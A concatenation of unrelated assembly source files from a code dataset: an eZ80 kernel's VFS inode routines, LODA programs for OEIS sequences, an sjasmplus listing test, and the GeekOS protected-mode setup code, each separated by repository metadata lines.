ret ; phy_read (physical read page from backing device)
dl $0
ret ; phy_write (physical write page to backing device)
dl $0
ret ; phy_sync (physical sync file to backing device) OR phy_ioctl
dl $0
ret ; phy_read_inode (from backing device) : happen at mount time for supported filesystem
dl $0
ret ; phy_sync_inode (sync the inode to the backing device and create it if it doesn't exist), mostly happen at umount time
dl $00
ret ; phy_destroy_inode
; about locking : you should always lock the PARENT first when you need to write both parent & inode to prevent deadlock
; inode searching can sleep with parent inode lock waiting for child inode to be free'd for read
; best is always locking only ONE inode
.inode_deref:
; please note that parent MAY have been locked, but anyway, it is not mandatory
; remember, DO NOT CROSS LOCK
; NOTE : if the reference reach zero, that mean it is a dangling inode. Locking for write will effectively drain potential other thread (since it is a fifo)
; NOTE : do NOT call this with lock held
; derefence inode iy
dec (iy+KERNEL_VFS_INODE_REFERENCE)
ret nz
; if zero, try lock and drain
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.lock_write
; recheck for reference count
ld a, (iy+KERNEL_VFS_INODE_REFERENCE)
or a, a
; non zero mean someone was waiting for the inode and "saved" it
jp nz, atomic_rw.unlock_write
; just destroy it
.inode_destroy:
; there is no more reference to this inode, so it can be freely destroyed
; Temporary rule : *do not destroy directory*
; iy = inode
ld a, (iy+KERNEL_VFS_INODE_FLAGS)
and a, KERNEL_VFS_TYPE_MASK
jr nz, .inode_destroy_nf
call .inode_drop_data
.inode_destroy_nf:
cp a, KERNEL_VFS_TYPE_DIRECTORY
ret z
; char, block, fifo, symlink, socket, file
ld ix, (iy+KERNEL_VFS_INODE_OP)
lea hl, ix+phy_destroy_inode
push iy
call .inode_call
pop hl
jp kfree
.inode_get_lock:
; hl is path
; return c = error, none lock
; return nc = iy is the locked for write inode
ld iy, (kthread_current)
ld a, (hl)
cp a, '/'
jr z, .inode_get_from_root
; the path is a relative path, so try to use the inode of the thread (reference is ALWAYS valid)
ld iy, (iy+KERNEL_THREAD_WORKING_DIRECTORY)
jr .inode_get_from_working
.inode_get_from_root:
ld iy, (iy+KERNEL_THREAD_ROOT_DIRECTORY)
inc hl
ld a, (hl)
.inode_get_from_working:
or a, a
jp z, .inode_raw_lock_write
push hl
call .inode_raw_lock_read
; iy is the locked inode (and assured to be a file)
pop hl
jp c, user_error
.inode_get_parse_path:
; find the entrie in the directory
call .inode_directory_lookup
jr c, .inode_atomic_read_error
ld ix, (ix+KERNEL_VFS_DIRECTORY_INODE)
; ix is the new inode, iy the old, hl is still our path
; ex : /dev/ need to lock dev for write
ld c, KERNEL_VFS_DIRECTORY_NAME_SIZE
.__bad_search3:
ld a, (hl)
inc hl
or a, a
jr z, .inode_get_lock_entry
sub a, '/'
jr z, .inode_get_continue
dec c
jr nz, .__bad_search3
ld a, ENAMETOOLONG
jr .inode_atomic_read_error
.inode_get_continue:
or a, (hl)
jr z, .inode_get_lock_entry
; we have the new path at hl
; lock dance
push hl
call .inode_raw_lock_read_ex
pop hl
jr c, .inode_atomic_read_error
push hl
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_read
lea iy, ix+0
pop hl
jr .inode_get_parse_path
.inode_get_lock_entry:
call .inode_raw_lock_write_ex
jr c, .inode_atomic_read_error
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_read
lea iy, ix+0
or a, a
ret
.inode_atomic_read_error:
push af
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_read
pop af
jp user_error
.inode_atomic_write_error:
; unlock the inode (write locked) and error out
push af
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_write
pop af
jp user_error
.inode_directory_get_lock:
; Half - debuged
; /dev lock the correct directory
; /dev/fifo too
; need to check /dev/ and /dev/fifo/ + error path
; hl is path
; return c = error, none lock
; return nc = iy is the locked for write inode, hl is the name of the file
; logic is quite complex here
; exemple
; /dev/ lock / for write and give back dev//0
; /dev/hello lock /dev/ for write and give back hello/0
ld iy, (kthread_current)
ld a, (hl)
sub a, '/'
jr z, .inode_directory_get_from_root
; the path is a relative path, so try to use the inode of the thread
xor a, a
ld iy, (iy+KERNEL_THREAD_WORKING_DIRECTORY)
jr .inode_directory_get_from_working
.inode_directory_get_from_root:
; skip the first '/' if it was one
ld iy, (iy+KERNEL_THREAD_ROOT_DIRECTORY)
inc hl
.inode_directory_get_from_working:
ex de, hl
sbc hl, hl
add hl, de
or a, (hl)
; we will maintain hl = name actually looked up
; de = name AFTER the following '/'
jp z, .inode_directory_get_root_lock
ld c, KERNEL_VFS_DIRECTORY_NAME_SIZE
.__bad_search:
ld a, (hl)
inc hl
or a, a
jr z, .inode_directory_get_root_lock
sub a, '/'
jr z, .inode_directory_get_start
dec c
jr nz, .__bad_search
ld a, ENAMETOOLONG
jp user_error
.inode_directory_get_start:
or a, (hl)
jr z, .inode_directory_get_root_lock
ex de, hl
push hl
call .inode_raw_lock_read
pop hl
jp c, user_error
.inode_directory_get_parse_path:
; find the entrie in the directory
push de
call .inode_directory_lookup
pop de
jr c, .inode_atomic_read_error
ld ix, (ix+KERNEL_VFS_DIRECTORY_INODE)
; ix is the new inode, iy the old, hl is still our path
; ex : /dev/ need to lock dev for write
; de > copy to hl
sbc hl, hl
add hl, de
ld c, KERNEL_VFS_DIRECTORY_NAME_SIZE
.__bad_search2:
ld a, (hl)
inc hl
or a, a
jr z, .inode_directory_get_lock_entry
sub a, '/'
jr z, .inode_directory_continue
dec c
jr nz, .__bad_search2
ld a, ENAMETOOLONG
jr .inode_atomic_read_error
.inode_directory_continue:
or a, (hl)
jr z, .inode_directory_get_lock_entry
ex de, hl
; we have the new path at de
; lock dance
push hl
call .inode_raw_lock_read_ex
pop hl
jp c, .inode_atomic_read_error
push hl
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_read
lea iy, ix+0
pop hl
jr .inode_directory_get_parse_path
.inode_directory_get_lock_entry:
ex de, hl
push hl
call .inode_raw_lock_write_ex
pop hl
jp c, .inode_atomic_read_error
push hl
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_read
pop hl
lea iy, ix+0
or a, a
ret
.inode_directory_get_root_lock:
ex de, hl
push hl
call .inode_raw_lock_write
pop hl
ret
.inode_directory_lookup:
; return c if error with a = error (but NO ERRNO SET)
; return nc if found, ix is the dirent
; also can check partial path ('dev/toto' lookup dev)
ld a, (iy+KERNEL_VFS_INODE_FLAGS)
and a, KERNEL_VFS_TYPE_MASK
cp a, KERNEL_VFS_TYPE_DIRECTORY
ld a, ENOTDIR
scf
ret nz
; does we have at least read authorization of this folder ?
bit KERNEL_VFS_PERMISSION_R_BIT, (iy+KERNEL_VFS_INODE_FLAGS)
ld a, EACCES
ret z
push iy
lea iy, iy+KERNEL_VFS_INODE_DATA
ld b, 16
.inode_directory_lookup_data:
; 16 times
ld ix, (iy+0)
; check if ix is NULL, else, skip
push hl
lea hl, ix+0
add hl, de
or a, a
sbc hl, de
pop hl
jr z, .inode_directory_data_null
call .inode_directory_entry_cmp
jr z, .inode_directory_lookup_match
lea ix, ix+KERNEL_VFS_DIRECTORY_ENTRY_SIZE
call .inode_directory_entry_cmp
jr z, .inode_directory_lookup_match
lea ix, ix+KERNEL_VFS_DIRECTORY_ENTRY_SIZE
call .inode_directory_entry_cmp
jr z, .inode_directory_lookup_match
lea ix, ix+KERNEL_VFS_DIRECTORY_ENTRY_SIZE
call .inode_directory_entry_cmp
jr z, .inode_directory_lookup_match
.inode_directory_data_null:
lea iy, iy+3
djnz .inode_directory_lookup_data
pop iy
ld a, ENOENT
scf
ret
.inode_directory_lookup_match:
pop iy
xor a, a
ret
.inode_directory_entry_cmp:
lea de, ix+KERNEL_VFS_DIRECTORY_NAME
push hl
push bc
ld bc, KERNEL_VFS_DIRECTORY_NAME_SIZE
.inode_directory_entry_loop:
ld a, (hl)
or a, a
jr z, .inode_directory_entry_last
sub a, '/'
jr z, .inode_directory_entry_last
ld a, (de)
cpi
jr nz, .inode_directory_entry_return
inc de
jp pe, .inode_directory_entry_loop
; entry are the same
.inode_directory_entry_return:
; z flags set
pop bc
pop hl
ret
.inode_directory_entry_last:
; check 0 against (de)
ex de, hl
cp a, (hl)
pop bc
pop hl
ret
.inode_call:
jp (hl)
.inode_create:
; hl is path, bc is mode, a is inode type
; return c and errno set if there is an issue
; else return iy = created inode with write lock held and hl = 0 nc
ld b, a
push bc
call .inode_directory_get_lock
pop de
ret c
; we have several sanity check here
push de
push hl
call .inode_directory_lookup
pop hl
pop de
ld a, EEXIST
jp nc, .inode_atomic_write_error
.inode_create_parent:
; hl is name, iy is the PARENT node, d is inode type, e is mode
; check the inode can be writed
bit KERNEL_VFS_PERMISSION_W_BIT, (iy+KERNEL_VFS_INODE_FLAGS)
ld a, EACCES
jp z, .inode_atomic_write_error
; right here, hl is the partial string and should be null terminated
; does the base name is not too long ?
xor a, a
ld bc, KERNEL_VFS_DIRECTORY_NAME_SIZE
push hl
cpir
pop hl
ld a, ENAMETOOLONG
jp po, .inode_atomic_write_error
; now, we can allocate the inode & create the directory inode
; convention : hl is the name of the inode, iy is parent inode (it MUST be a directory), a is inode flags
ld a, e
and a, KERNEL_VFS_PERMISSION_RWX
ld e, a
ld a, d
and a, not KERNEL_VFS_PERMISSION_RWX
or a, e
; return iy = inode if not carry, if carry then it is an error and you should quit
.inode_allocate:
; hl is the name of the inode, iy is parent inode (directory), which should already be write locked++
; a is raw inode flags
; sanity check
ld c, a
; save name in register de
ex de, hl
call .inode_dirent
ret c
; also, c is still our flags
ld a, c
and a, KERNEL_VFS_TYPE_MASK
ld hl, KERNEL_VFS_INODE_NODE_SIZE_SYMLINK
cp a, KERNEL_VFS_TYPE_SYMLINK
jr z, .node_regular
add hl, hl
; fifo ?
; bit KERNEL_VFS_CAPABILITY_DMA_BIT, c
; jr nz, .node_regular
cp a, KERNEL_VFS_TYPE_FIFO
jr z, .node_regular
add hl, hl
.node_regular:
call kmalloc
ld a, ENOMEM
jp c, .inode_atomic_write_error
; hl is our new little inode \o/
; copy everything in the dir entrie
ld (ix+KERNEL_VFS_DIRECTORY_INODE), hl
push hl
push bc
; now copy the name (still in de after all this time)
lea hl, ix+KERNEL_VFS_DIRECTORY_NAME
ex de, hl
ld bc, KERNEL_VFS_DIRECTORY_NAME_SIZE
.inode_allocate_copy_name:
; do not copy trailing '/'
ld a, (hl)
or a, a
jr z, .inode_allocate_copy_end
sub a, '/'
jr z, .inode_allocate_copy_end
ldi
jp pe, .inode_allocate_copy_name
xor a, a
.inode_allocate_copy_end:
ld (de), a
pop bc
pop ix
; c is still our flags
; right here, we have the new inode as ix, the parent as iy, and name of inode as de
inc (ix+KERNEL_VFS_INODE_REFERENCE)
ld (ix+KERNEL_VFS_INODE_FLAGS), c
ld (ix+KERNEL_VFS_INODE_PARENT), iy
lea hl, ix+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.init
; hard take the write lock
; it is okay, since the inode is not yet inserted in the filesystem
dec (hl)
; copy parent methode inheriting filesystem and mount propriety
ld hl, (iy+KERNEL_VFS_INODE_OP)
ld (ix+KERNEL_VFS_INODE_OP), hl
; unlock parent inode
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_write
; children inode is still locked
; return the children node in iy
lea iy, ix+0
or a, a
sbc hl, hl
ret
.inode_dirent:
; find a free dirent (or carry if not found) within directory inode iy
; dirent = ix
; expect directory to be locked for write ++
ld a, (iy+KERNEL_VFS_INODE_FLAGS)
and a, KERNEL_VFS_TYPE_MASK
cp a, KERNEL_VFS_TYPE_DIRECTORY
ld a, ENOTDIR
jp nz, .inode_atomic_write_error
; take the write lock on the parent inode to check if we can write a new inode in this directory
push iy
lea iy, iy+KERNEL_VFS_INODE_DATA
ld b, 16
.inode_allocate_data:
ld ix, (iy+0)
; check if ix is NULL, else, skip
lea hl, ix+0
add hl, de
or a, a
sbc hl, de
jr z, .inode_allocate_free_indirect
ld hl, (ix+KERNEL_VFS_DIRECTORY_INODE)
add hl, de
or a, a
sbc hl, de
jr z, .inode_allocate_free_direct
lea ix, ix+KERNEL_VFS_DIRECTORY_ENTRY_SIZE
ld hl, (ix+KERNEL_VFS_DIRECTORY_INODE)
add hl, de
or a, a
sbc hl, de
jr z, .inode_allocate_free_direct
lea ix, ix+KERNEL_VFS_DIRECTORY_ENTRY_SIZE
ld hl, (ix+KERNEL_VFS_DIRECTORY_INODE)
add hl, de
or a, a
sbc hl, de
jr z, .inode_allocate_free_direct
lea ix, ix+KERNEL_VFS_DIRECTORY_ENTRY_SIZE
ld hl, (ix+KERNEL_VFS_DIRECTORY_INODE)
add hl, de
or a, a
sbc hl, de
jr z, .inode_allocate_free_direct
lea iy, iy+3
djnz .inode_allocate_data
; well, no place found
; unlock and quit
ld a, ENOSPC
.inode_allocate_error:
pop iy
jp .inode_atomic_write_error
; upper data block was free, so allocate one
.inode_allocate_free_indirect:
; ld hl, KERNEL_VFS_DIRECTORY_ENTRY_SIZE * 4
ld hl, kmem_cache_s64
call kmem.cache_alloc
ld a, ENOMEM
jr c, .inode_allocate_error
; iy is the directory entry, write the new entry made
ld (iy+0), hl
; copy result to ix
ld ix, (iy+0)
.inode_allocate_free_direct:
; ix is the directory entrie
pop iy
; iy is now the parent inode
ret
.inode_dup:
ret
sysdef _link
.inode_link:
.link:
; int link(const char *oldpath, const char *newpath);
push de
call .inode_get_lock
pop hl
ret c
; save iy for later
push iy
call .inode_directory_get_lock
jr c, .inode_link_error
ex de, hl
call .inode_dirent
jr c, .inode_link_error
; de = name, ix = dirent, iy = parent inode
; we can lock the old path inode and increase it ref count
ex (sp), iy
inc (iy+KERNEL_VFS_INODE_REFERENCE)
ld (ix+KERNEL_VFS_DIRECTORY_INODE), iy
ex (sp), iy
; copy the name of the inode into the directory
lea hl, ix+KERNEL_VFS_DIRECTORY_NAME
ex de, hl
ld bc, KERNEL_VFS_DIRECTORY_NAME_SIZE
.inode_link_copy_name:
; do not copy trailing '/'
ld a, (hl)
or a, a
jr z, .inode_link_copy_end
sub a, '/'
jr z, .inode_link_copy_end
ldi
jp pe, .inode_link_copy_name
xor a, a
.inode_link_copy_end:
ld (de), a
; hardlink was created
; all done, unlock both now
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_write
pop iy
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_write
or a, a
sbc hl, hl
ret
.inode_link_error:
pop iy
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_write
scf
sbc hl, hl
ret
sysdef _unlink
; int unlink(const char *pathname);
.inode_unlink:
.unlink:
call .inode_directory_get_lock
ret c
; iy = inode, hl = name
call .inode_directory_lookup
jp c, .inode_atomic_write_error
; ix = dirent, so delete it and deref the children inode
ld hl, KERNEL_MM_NULL
lea de, ix+KERNEL_VFS_DIRECTORY_ENTRY
ld ix, (ix+KERNEL_VFS_DIRECTORY_INODE)
ld bc, KERNEL_VFS_DIRECTORY_ENTRY_SIZE
ldir
; ix = children inode to deref, iy is parent
pea iy+KERNEL_VFS_INODE_ATOMIC_LOCK
lea iy, ix+0
call .inode_deref
pop hl
call atomic_rw.unlock_write
or a, a
sbc hl, hl
ret
sysdef _symlink
.inode_symlink:
.symlink:
; int symlink(const char* path1, const char* path2)
; hl = path 1 (inode to link), de = path 2
push de
call .inode_get_lock
pop hl
ret c
; save iy our inode
push iy
; hl is path, bc is mode, a is inode type
ld bc, 0
ld c, (iy+KERNEL_VFS_INODE_FLAGS)
and a, KERNEL_VFS_PERMISSION_MASK
ld c, a
ld a, KERNEL_VFS_TYPE_SYMLINK
call .inode_create
lea ix, iy+0
pop iy
; iy = the original inode, ix = either nothing or the created inode
; if carry = error set
ret c
; setup the link
; ref count ++
inc (iy+KERNEL_VFS_INODE_REFERENCE)
; write inode into the symlink
ld (ix+KERNEL_VFS_INODE_LINK), iy
; unlock both now
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_write
lea hl, ix+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_write
or a, a
sbc hl, hl
ret
.inode_raw_lock_read_ex:
push iy
lea iy, ix+0
call .inode_raw_lock_read
lea ix, iy+0
pop iy
ret
.inode_raw_lock_write_ex:
push iy
lea iy, ix+0
call .inode_raw_lock_write
lea ix, iy+0
pop iy
ret
; lock and follow symlink
.inode_raw_lock_read:
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.lock_read
ld c, KERNEL_VFS_MAX_FOLLOW
.inode_raw_lock_loop:
ld a, (iy+KERNEL_VFS_INODE_FLAGS)
and a, KERNEL_VFS_TYPE_MASK
sub a, KERNEL_VFS_TYPE_SYMLINK
; reset carry flag before returning
or a, a
ret nz
ld hl, (iy+KERNEL_VFS_INODE_LINK)
add hl, de
or a, a
sbc hl, de
ld a, EACCES
jr z, .inode_raw_error
push hl
; lock swap
assert KERNEL_VFS_INODE_ATOMIC_LOCK = 1
inc hl
call atomic_rw.lock_read
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_read
pop iy
dec c
jr nz, .inode_raw_lock_loop
ld a, ELOOP
.inode_raw_error:
push af
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_read
pop af
scf
ret
.inode_raw_lock_write:
; lock for write & follow symlink
; return c and error, nc otherwise
ld c, KERNEL_VFS_MAX_FOLLOW
ld a, (iy+KERNEL_VFS_INODE_FLAGS)
and a, KERNEL_VFS_TYPE_MASK
cp a, KERNEL_VFS_TYPE_SYMLINK
jr nz, .inode_raw_llw
; this is a symlink, lock it for read
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.lock_read
; read the link and follow
.inode_raw_lwl:
ld hl, (iy+KERNEL_VFS_INODE_LINK)
add hl, de
or a, a
sbc hl, de
ld a, EACCES
jr z, .inode_raw_error
ld a, (iy+KERNEL_VFS_INODE_FLAGS)
and a, KERNEL_VFS_TYPE_MASK
cp a, KERNEL_VFS_TYPE_SYMLINK
push hl
inc hl
jr nz, .inode_raw_lcw
; here, swap lock
call atomic_rw.lock_read
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_read
pop iy
dec c
jr nz, .inode_raw_lwl
ld a, ELOOP
jr .inode_raw_error
.inode_raw_lcw:
; unlock read iy and lock write hl
call atomic_rw.lock_write
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.unlock_read
pop iy
or a, a
ret
.inode_raw_llw:
; lock and return (early)
lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK
call atomic_rw.lock_write
or a, a
ret
.inode_drop_data:
; TODO : implement
; iy is inode number
; parse the data and unmap everything (+clear everything)
ret
sysdef _rename
.inode_rename:
.rename:
; int rename(const char *oldpath, const char *newpath);
; hl is old path, bc is newpath
; for this we need to find the file (grab inode and parent inode, lock the parent inode for write, remove reference for the file, introduce reference to the new path, etc). QUite some hard work actually
; push bc
; call .inode_find
; pop hl
; ; well, we didn't found the first path, so abort
; ret c
; push iy
; call .inode_find_directory
; pop ix
; ; well, the path of the directory for the new name couldn't been found
; ret c
; ; now lock both, and pray
; TODO : implement
ret
| 25.253399 | 202 | 0.760842 |
d11fe6d3597d61d2d8d5b606348d459dda4229a7 | 950 | asm | Assembly | oeis/167/A167326.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/167/A167326.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/167/A167326.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A167326: Totally multiplicative sequence with a(p) = 7*(p+3) for prime p.
; Submitted by Jon Maiga
; 1,35,42,1225,56,1470,70,42875,1764,1960,98,51450,112,2450,2352,1500625,140,61740,154,68600,2940,3430,182,1800750,3136,3920,74088,85750,224,82320,238,52521875,4116,4900,3920,2160900,280,5390,4704,2401000,308,102900,322,120050,98784,6370,350,63026250,4900,109760,5880,137200,392,2593080,5488,3001250,6468,7840,434,2881200,448,8330,123480,1838265625,6272,144060,490,171500,7644,137200,518,75631500,532,9800,131712,188650,6860,164640,574,84035000,3111696,10780,602,3601500,7840,11270,9408,4201750,644
add $0,1
mov $1,1
lpb $0
mov $3,$0
lpb $3
mov $4,$0
cmp $6,0
add $2,$6
mod $4,$2
cmp $4,0
cmp $4,0
mov $5,$2
add $2,1
cmp $5,1
max $4,$5
sub $3,$4
add $6,29
lpe
mov $5,1
lpb $0
dif $0,$2
mul $1,7
mul $5,$2
add $5,3
mul $1,$5
trn $2,7
cmp $6,0
lpe
lpe
mov $0,$1
| 27.142857 | 498 | 0.655789 |
54d7c9bb13eda76b8734d5c66e172d82a7b90a3e | 286 | asm | Assembly | tests/listing/Issue57_segfault.asm | cizo2000/sjasmplus | 615d7c0e09a44aa2a923095fc9ed6dca6ecae4a4 | [
"BSD-3-Clause"
] | 220 | 2016-10-22T19:44:39.000Z | 2022-03-29T20:57:04.000Z | tests/listing/Issue57_segfault.asm | ped7g/sjasmplus | 487635c8057cd5594c372d9b70bc00a3f3a1ecc4 | [
"BSD-3-Clause"
] | 153 | 2018-05-07T10:31:23.000Z | 2022-03-30T04:35:59.000Z | tests/listing/Issue57_segfault.asm | ped7g/sjasmplus | 487635c8057cd5594c372d9b70bc00a3f3a1ecc4 | [
"BSD-3-Clause"
] | 51 | 2016-05-12T21:27:36.000Z | 2022-03-27T15:16:16.000Z | ; label as macro name (new in v1.13.1) triggers segfault with "--sym=..." option
LabelAsMacroName MACRO arg1?, arg2?
ld a,arg1?
ld hl,arg2?
ENDM
LabelAsMacroName 1,$1234
SomeRegularLabel: nop
| 28.6 | 80 | 0.5 |
1bc9bcac045cf79a2f86abbb66a1ff5786b686db | 552 | asm | Assembly | oeis/003/A003623.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/003/A003623.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/003/A003623.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A003623: Wythoff AB-numbers: floor(floor(n*phi^2)*phi), where phi = (1+sqrt(5))/2.
; Submitted by Simon Strandgaard
; 3,8,11,16,21,24,29,32,37,42,45,50,55,58,63,66,71,76,79,84,87,92,97,100,105,110,113,118,121,126,131,134,139,144,147,152,155,160,165,168,173,176,181,186,189,194,199,202,207,210,215,220,223,228,231,236,241,244,249,254,257,262,265,270,275,278,283,288,291,296,299,304,309,312,317,320,325,330,333,338,343,346,351,354,359,364,367,372,377,380,385,388,393,398,401,406,409,414,419,422
mov $1,$0
seq $0,283233 ; 2*A000201.
add $0,$1
add $0,1
| 61.333333 | 376 | 0.708333 |
fa6cbaf4055afb7ec6873e9e54a8d58d70bf2645 | 5,202 | asm | Assembly | src/geekos/setup.asm | serDrem/geekOSenhance | f37d73ef12cce77d0d1d68715af1b148bdf9314f | [
"BSD-4-Clause-UC",
"MIT"
] | 33 | 2018-03-26T02:35:17.000Z | 2021-11-20T18:28:53.000Z | src/geekos/setup.asm | serDrem/geekOSenhance | f37d73ef12cce77d0d1d68715af1b148bdf9314f | [
"BSD-4-Clause-UC",
"MIT"
] | 6 | 2018-07-21T20:32:39.000Z | 2018-07-22T04:02:04.000Z | src/geekos/setup.asm | serDrem/geekOSenhance | f37d73ef12cce77d0d1d68715af1b148bdf9314f | [
"BSD-4-Clause-UC",
"MIT"
] | 4 | 2018-06-05T01:45:21.000Z | 2021-11-14T04:32:27.000Z | ; GeekOS setup code
; Copyright (c) 2001,2004 David H. Hovemeyer <daveho@cs.umd.edu>
; $Revision: 1.10 $
; This is free software. You are permitted to use,
; redistribute, and modify it as specified in the file "COPYING".
; A lot of this code is adapted from Kernel Toolkit 0.2
; and Linux version 2.2.x, so the following copyrights apply:
; Copyright (C) 1991, 1992 Linus Torvalds
; modified by Drew Eckhardt
; modified by Bruce Evans (bde)
; adapted for Kernel Toolkit by Luigi Sgro
%include "defs.asm"
[BITS 16]
[ORG 0x0]
start_setup:
; Redefine the data segment so we can access variables
; declared in this file.
mov ax, SETUPSEG
mov ds, ax
; Use int 15h to find out size of extended memory in KB.
; Extended memory is the memory above 1MB. So by
; adding 1MB to this amount, we get the total amount
; of system memory. We can only detect 64MB this way,
; but that's OK for now.
mov ah, 0x88
int 0x15
add ax, 1024 ; 1024 KB == 1 MB
mov [mem_size_kbytes], ax
; Kill the floppy motor.
call Kill_Motor
; Block interrupts, since we can't meaningfully handle them yet
; and we no longer need BIOS services.
cli
; Set up IDT and GDT registers
lidt [IDT_Pointer]
lgdt [GDT_Pointer]
; Initialize the interrupt controllers, and enable the
; A20 address line
call Init_PIC
call Enable_A20
; Switch to protected mode!
mov ax, 0x01
lmsw ax
; Jump to 32 bit code.
jmp dword KERNEL_CS:(SETUPSEG << 4) + setup_32
[BITS 32]
setup_32:
; set up data segment registers
mov ax, KERNEL_DS
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
; Create the stack for the initial kernel thread.
mov esp, KERN_STACK + 4096
; Build Boot_Info struct on stack.
; Note that we push the fields on in reverse order,
; since the stack grows downwards.
xor eax, eax
mov ax, [(SETUPSEG<<4)+mem_size_kbytes]
push eax ; memSizeKB
push dword 8 ; bootInfoSize
; Pass pointer to Boot_Info struct as argument to kernel
; entry point.
push esp
; Push return address to make this look like a call
; XXX - untested
push dword (SETUPSEG<<4)+.returnAddr
; Far jump into kernel
jmp KERNEL_CS:ENTRY_POINT
.returnAddr:
; We shouldn't return here.
.here: jmp .here
[BITS 16]
; Kill the floppy motor.
; This code was shamelessly stolen from Linux.
Kill_Motor:
mov dx, 0x3f2
xor al, al
out dx, al
ret
Init_PIC:
; Initialize master and slave PIC!
mov al, ICW1
out 0x20, al ; ICW1 to master
call Delay
out 0xA0, al ; ICW1 to slave
call Delay
mov al, ICW2_MASTER
out 0x21, al ; ICW2 to master
call Delay
mov al, ICW2_SLAVE
out 0xA1, al ; ICW2 to slave
call Delay
mov al, ICW3_MASTER
out 0x21, al ; ICW3 to master
call Delay
mov al, ICW3_SLAVE
out 0xA1, al ; ICW3 to slave
call Delay
mov al, ICW4
out 0x21, al ; ICW4 to master
call Delay
out 0xA1, al ; ICW4 to slave
call Delay
mov al, 0xff ; mask all ints in slave
out 0xA1, al ; OCW1 to slave
call Delay
mov al, 0xfb ; mask all ints but 2 in master
out 0x21, al ; OCW1 to master
call Delay
ret
; Linux uses this code.
; The idea is that some systems issue port I/O instructions
; faster than the device hardware can deal with them.
Delay:
jmp .done
.done: ret
; Enable the A20 address line, so we can correctly address
; memory above 1MB.
Enable_A20:
mov al, 0xD1
out 0x64, al
call Delay
mov al, 0xDF
out 0x60, al
call Delay
ret
; ----------------------------------------------------------------------
; Setup data
; ----------------------------------------------------------------------
mem_size_kbytes: dw 0
; ----------------------------------------------------------------------
; The GDT. Creates flat 32-bit address space for the kernel
; code, data, and stack. Note that this GDT is just used
; to create an environment where we can start running 32 bit
; code. The kernel will create and manage its own GDT.
; ----------------------------------------------------------------------
; GDT initialization stuff
NUM_GDT_ENTRIES equ 3 ; number of entries in GDT
GDT_ENTRY_SZ equ 8 ; size of a single GDT entry
align 8, db 0
GDT:
; Descriptor 0 is not used
dw 0
dw 0
dw 0
dw 0
; Descriptor 1: kernel code segment
dw 0xFFFF ; bytes 0 and 1 of segment size
dw 0x0000 ; bytes 0 and 1 of segment base address
db 0x00 ; byte 2 of segment base address
db 0x9A ; present, DPL=0, non-system, code, non-conforming,
; readable, not accessed
db 0xCF ; granularity=page, 32 bit code, upper nibble of size
db 0x00 ; byte 3 of segment base address
; Descriptor 2: kernel data and stack segment
; NOTE: what Intel calls an "expand-up" segment
; actually means that the stack will grow DOWN,
; towards lower memory. So, we can use this descriptor
; for both data and stack references.
dw 0xFFFF ; bytes 0 and 1 of segment size
dw 0x0000 ; bytes 0 and 1 of segment base address
db 0x00 ; byte 2 of segment base address
db 0x92 ; present, DPL=0, non-system, data, expand-up,
; writable, not accessed
db 0xCF ; granularity=page, big, upper nibble of size
db 0x00 ; byte 3 of segment base address
GDT_Pointer:
dw NUM_GDT_ENTRIES*GDT_ENTRY_SZ ; limit
dd (SETUPSEG<<4) + GDT ; base address
IDT_Pointer:
dw 0
dd 00
| 24.308411 | 72 | 0.675894 |
1491d1f94d8d4376dc0f4ebb872580ea5609b1c4 | 2,925 | asm | Assembly | Library/Pref/configui/prefMinuteValue.asm | NCommander/pcgeos | 0d0a2c20425b32589f313861a00b78546c1da46f | [
"Apache-2.0"
] | null | null | null | Library/Pref/configui/prefMinuteValue.asm | NCommander/pcgeos | 0d0a2c20425b32589f313861a00b78546c1da46f | [
"Apache-2.0"
